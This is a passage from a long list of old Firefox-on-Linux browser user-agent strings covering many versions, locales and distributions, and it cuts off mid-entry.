Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Firefox/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6 Mozilla/5.0 (X11; U; Linux i686; en-us; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Firefox/11.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090729 Slackware/13.0 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2pre) Gecko/20090729 Ubuntu/9.04 (jaunty) Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090912 Gentoo Firefox/3.5.3 FirePHP/0.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.3) Gecko/20090919 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.4) Gecko/20091028 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.6) Gecko/20100118 Gentoo Firefox/3.5.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100315 Ubuntu/9.10 (karmic) Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1b3) Gecko/20090407 Firefox/3.1b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.04 (jaunty) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10pre) Gecko/20100902 Ubuntu/9.10 (karmic) Firefox/3.6.1pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101114 Gentoo Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14pre) Gecko/20110105 Firefox/3.6.14pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.15) Gecko/20110303 Ubuntu/10.04 (lucid) Firefox/3.6.15 FirePHP/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16) Gecko/20110323 Ubuntu/9.10 (karmic) Firefox/3.6.16 FirePHP/0.5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.16pre) Gecko/20110304 Ubuntu/10.10 (maverick) Firefox/3.6.15pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.1) Gecko/20100122 firefox/3.6.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.2pre) Gecko/20100312 Ubuntu/9.04 (jaunty) Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.4) Gecko/20100625 Gentoo Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.7) Gecko/20100726 CentOS/3.6-3.el5.centos Firefox/3.6.7 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.8) Gecko/20100727 Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.9) Gecko/20100827 Red Hat/3.6.9-2.el6 Firefox/3.6.9 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 FirePHP/0.4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Ubuntu/10.04 (lucid) Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100128 Gentoo Firefox/3.6 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20051215 Firefox/1.6a1 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060117 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a1) Gecko/20060814 Firefox/3.0a1 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3) Gecko/2008020513 Firefox/3.0b3 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008010415 Firefox/3.0b Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b3pre) Gecko/2008020507 Firefox/3.0b3pre Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4) Gecko/2008031317 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021712 Firefox/3.0b4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b4pre) Gecko/2008021714 Firefox/3.0b4pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9pre) Gecko/2008040318 Firefox/3.0pre (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; en-ZW; rv:1.8.0.7) Gecko/20061018 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070803 Firefox/2.0.0.6 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Linux Mint/5 (Elyssa) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; es-AR; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.11) Gecko/20070327 Ubuntu/dapper-security Firefox/1.5.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.0.7) Gecko/20060830 Firefox/1.5.0.7 (Debian-1.5.dfsg+1.5.0.7-1~bpo.1) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080213 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.14) Gecko/20080419 Ubuntu/8.04 (hardy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.2) Gecko/20070225 Firefox/2.0.0.2 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060309 Linux Mint/5 (Elyssa) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009060310 Ubuntu/8.10 (intrepid) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.0.14) Gecko/2009090216 Firefox/3.0.14 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.7) Gecko/20091222 SUSE/3.5.7-1.1.1 Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.9.2.13) Gecko/20101206 Ubuntu/9.10 (karmic) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; eu; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1.2 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; fa; rv:1.8.1.4) Gecko/20100527 Firefox/3.6.4 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.13) Gecko/2009080315 Linux Mint/6 (Felicia) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; fr-be; rv:1.9.0.8) Gecko/2009073022 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050716 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.7.8) Gecko/20050511 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8.1.6) Gecko/20080208 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.0.5) Gecko/2008123017 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.1) Gecko/20090624 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; fr-FR; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050721 Firefox/1.0.6 (Ubuntu package 1.0.6) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20050922 Firefox/1.0.7 (Debian package 1.0.7-1) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.8) Gecko/20050524 Fedora/1.0.4-4 Firefox/1.0.4 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.10) Gecko/20070223 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 pango-text Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.0.8) Gecko/20061213 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.19) Gecko/20081216 Ubuntu/7.10 (gutsy) Firefox/2.0.0.19 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-2) Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.6) Gecko/20071008 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1.8) Gecko/20071030 Fedora/2.0.0.8-2.fc8 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060916 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8.1) Gecko/20060918 Firefox/2.0b2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.8) Gecko/20060110 Debian/1.5.dfsg-4 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.1) Gecko/2008070206 Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.03 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (X11; U; Linux i686 Gentoo; en-US; rv:1.8.1.13) Gecko/20080413 Firefox/2.0.0.13 (Gentoo Linux) Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-0.1 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8b4) Gecko/20050827 Firefox/1.0+ Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080420 Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070406 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070410 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20070621 Firefox/2.0.0.4 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8) Gecko/20060113 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ja; 